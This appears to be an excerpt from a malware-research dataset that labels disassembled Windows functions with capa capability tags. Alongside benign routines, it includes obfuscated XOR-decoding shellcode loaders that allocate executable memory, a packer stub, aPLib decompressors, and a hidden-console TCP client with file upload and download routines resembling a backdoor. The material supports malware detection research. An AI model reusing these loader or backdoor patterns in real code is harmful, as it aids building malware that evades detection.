joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c64d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4fb8a0
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.004f0ac5
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x4c6503
xor al, al
jmp 0x4c662f
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x4c6525
xor al, al
jmp 0x4c662f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x4c6538
xor al, al
jmp 0x4c662f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x4c654c
xor al, al
jmp 0x4c662f
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.004e4641
test eax, eax
jne 0x4c6580
xor al, al
jmp 0x4c662f
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x53098c
mov dword [esp + 0x20], ebp
call fcn.004f0ac5
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.004ed4eb
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.004ed542
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x4c6614
mov ax, word [ebx]
test ax, ax
je 0x4c6606
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.004c6650
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x4c65ea
mov dword [esp + 0x10], method.CGdiObject.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.004ed542
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x4c6b90
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.004eecd4
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x4c6bd6
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.004d1ce8
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x556c24
push ecx
call fcn.004d3402
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x4e89d1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4e8a09
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004e6a21
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004e69f9
jmp 0x4e8a15
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ea1cc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ea20e
call fcn.004f0ac5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ea20e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ea205
xor eax, eax
jmp 0x4ea216
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ea21c
pop edi
pop esi
pop ebx
ret 4

Function at 0x4f0ff5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4f1023
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4f1041
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004f0f5b
jmp 0x4f1041
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4f1041
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004f0f5b
test edi, edi
mov eax, edi
jne 0x4f102b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40325b
pop dword [ebp - 0x20]
mov eax, 0xa8543635
sub eax, 0xa81403da
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x3d27eadf
add dword [ebp - 0x30], 0x112a5a6c
mov dword [ebp - 0x2c], 0x2c767f84
add dword [ebp - 0x2c], 0x5bcccc1
mov dword [ebp - 0x28], 0x8abeb444
add dword [ebp - 0x28], 0xc18d8fea
mov dword [ebp - 0x24], 0x2fbab4e4
add dword [ebp - 0x24], 0xd0454b1c
lea eax, [ebp - 0x30]
push eax
mov eax, 0x6c194a5e
add eax, 0x9427361a
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x77368554
sub dword [ebp - 0x30], 0x2c41bfe
mov dword [ebp - 0x2c], 0xac0a50e7
sub dword [ebp - 0x2c], 0x6a9def72
mov dword [ebp - 0x28], 0x54e412e5
sub dword [ebp - 0x28], 0xf174a679
mov dword [ebp - 0x24], 0xe476d4fc
sub dword [ebp - 0x24], 0xe476d4fc
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x101fbc4b
sub eax, 0xfdf3bcf
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x34230
push 0
call eax
mov ecx, 0x5fec793b
add ecx, 0xa013c331
xor esi, esi
add esi, eax
mov edx, 0xb3527289
sub edx, 0xb30d5e89
add edx, dword [ebp - 0x20]
mov ebx, 0xa2fa79f9
sub ebx, 0x8a25e158
xor dword [ebp - 4], eax
mov edi, dword [edx]
add dword [ebp - 0x14], edi
add edi, ebx
add dword [ebp - 0x1c], 0x2c396638
mov dword [esi], edi
add esi, 0x9b2976c6
sub esi, 0x9b2976c2
add edx, 4
loop 0x40337f
add eax, 0xe483
mov ebx, eax
add eax, 0x7dc96d76
sub eax, 0x7dc96d71
mov ecx, 0xe3e60bc4
add ecx, 0x1c59f43c
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401460
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x19]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40149c
cmp dword [ebp - 0xc], 0
jne 0x4014a6
mov eax, 0
jmp 0x401536
lea edx, [ebp - 0x19]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], 0
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40c064
lea eax, [ebp - 0x19]
mov dword [esp], eax
call sym._sscanf
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4014e9
mov eax, 0
jmp 0x401536
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401521
cmp dword [ebp - 0xc], 0
jne 0x401533
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x401536
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x401538
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0xd], 1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
lea edx, [eax - 1]
mov eax, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
jne 0x401566
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
add eax, 5
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str._04d_s
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4015d4
mov byte [ebp - 0xd], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
movzx eax, byte [ebp - 0xd]
leave
ret
Function at 0x4015e5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Hide graphical window
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x1c4
call sym.___main
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
lea eax, [ebp - 0x19c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x401645
mov dword [esp], 1
call sym._exit
mov word [ebp - 0x1ac], 2
mov dword [esp], 0x22b8
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1aa], ax
mov dword [esp], str.127.0.0.1
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1a8], eax
jmp 0x401703
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [0x40fa24], eax
mov byte [0x40b005], 1
jmp 0x4016ba
mov dword [esp], 0x2710
call sym._Sleep_4
sub esp, 4
mov eax, dword [0x40fa24]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x1ac]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
je 0x4016ab
jmp 0x4016e8
call sym._handle_msg
movzx eax, byte [0x40b005]
test al, al
jne 0x4016e3
mov eax, dword [0x40fa24]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
movzx eax, byte [0x40b004]
test al, al
jne 0x40167e
call sym._WSACleanup_0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x40178a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x401805
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
add eax, 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._realloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4017d8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x40184b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov dword [esp + 8], eax
lea eax, [ebp - 0x400]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._memcpy
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], 1
lea eax, [ebp - 0x400]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4017a3
cmp dword [ebp - 0x10], 0
je 0x401848
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x40199b
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
jmp 0x4019db
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 8], edx
lea edx, [ebp - 0x3f4]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x4019db
mov eax, 0
jmp 0x401a0e
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3e8
mov dword [esp + 4], 1
lea eax, [ebp - 0x3f4]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4019a6
mov eax, 1
leave
ret

Function at 0x401ac1
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov dword [ebp - 0xc], 0
jmp 0x401b3d
mov eax, dword [0x40fa24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3e8
lea edx, [ebp - 0x3f8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x401b0c
cmp dword [ebp - 0x10], 0
jne 0x401b13
mov eax, 0
jmp 0x401b4a
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x3f8]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x401ad3
mov eax, 1
leave
ret
Function at 0x4023e0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40f03c]
sub esp, 4
test ebx, ebx
je 0x40242b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402424
test esi, esi
je 0x402424
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402400
mov dword [esp], 0x40f044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402610
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402738
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40269e
cmp eax, 4
jne 0x4026c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4026ae
cmp edx, 4
je 0x4026ae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402610
Function at 0x10011023
Capabilities:
Terminate process

Disassembly:
jmp 0x1001cb00
jmp fcn.1001cb30
cmp ecx, dword [0x10021054]
jne 0x1001cb0a
repz ret
jmp 0x100110b9

Function at 0x100120c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x100120cf
pop dword [ebp - 4]
mov eax, 0xadc64e78
add eax, 0x623ad257
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x9b3aa09a
add dword [ebp - 0x14], 0xb317a4b1
mov dword [ebp - 0x10], 0x4af92d01
sub dword [ebp - 0x10], 0x18c5e0bc
mov dword [ebp - 0xc], 0x4714512e
add dword [ebp - 0xc], 0x537f300
mov dword [ebp - 8], 0x7ac70c2a
add dword [ebp - 8], 0x8538f3d6
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xed7c60cc
add dword [ebp - 0x14], 0x86f6088a
mov dword [ebp - 0x10], 0x918fa0bc
sub dword [ebp - 0x10], 0x50233f47
mov dword [ebp - 0xc], 0x83d1f0b9
sub dword [ebp - 0xc], 0x2062844d
mov dword [ebp - 8], 0xc2ea09f9
sub dword [ebp - 8], 0xc2ea09f9
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xb151d95b
sub eax, 0xa14fb76b
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3599c
push 0
call eax
mov ecx, 0x135addc5
sub ecx, 0x135a9e26
xor esi, esi
add esi, eax
mov edi, 0x5451a7b5
add edi, 0xbbb0a24b
add edi, dword [ebp - 4]
mov edx, 0x25e75628
sub edx, 0x8330089a
mov ebx, dword [edi]
xor ebx, edx
mov dword [esi], ebx
add esi, 4
add edi, 4
loop 0x100121ee
add eax, 0xc9b8cda5
add eax, 0x364823aa
mov ebx, eax
add eax, 0xe3145ebd
add eax, 0x1ceba148
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0xac4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00ac41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xac407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xac406a
add dl, dl
jne 0xac4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xac40dc
xor eax, eax
add dl, dl
jne 0xac4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xac417d
add dl, dl
jne 0xac40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xac40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xac40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xac40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xac40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xac4075
mov eax, 1
add dl, dl
jne 0xac40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xac40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xac40e1
sub eax, ebx
mov ebx, 1
jne 0xac4128
mov ecx, 1
add dl, dl
jne 0xac410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xac4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xac4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xac4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xac413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xac414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xac4136
cmp eax, 0x7d00
jae 0xac416d
cmp eax, 0x500
jb 0xac4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xac4075
cmp eax, 0x7f
ja 0xac4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xac4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xac419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xac4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0xb17058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xb171a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xb1707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb1706a
add dl, dl
jne 0xb17089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb170dc
xor eax, eax
add dl, dl
jne 0xb17096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb1717d
add dl, dl
jne 0xb170a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb170b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb170bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb170c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xb170d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xb17075
mov eax, 1
add dl, dl
jne 0xb170ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb170f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb170e1
sub eax, ebx
mov ebx, 1
jne 0xb17128
mov ecx, 1
add dl, dl
jne 0xb1710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb17119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb17105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb17075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xb1713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb1714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb17136
cmp eax, 0x7d00
jae 0xb1716d
cmp eax, 0x500
jb 0xb17168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb17075
cmp eax, 0x7f
ja 0xb17170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb17075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xb1719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xb17075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10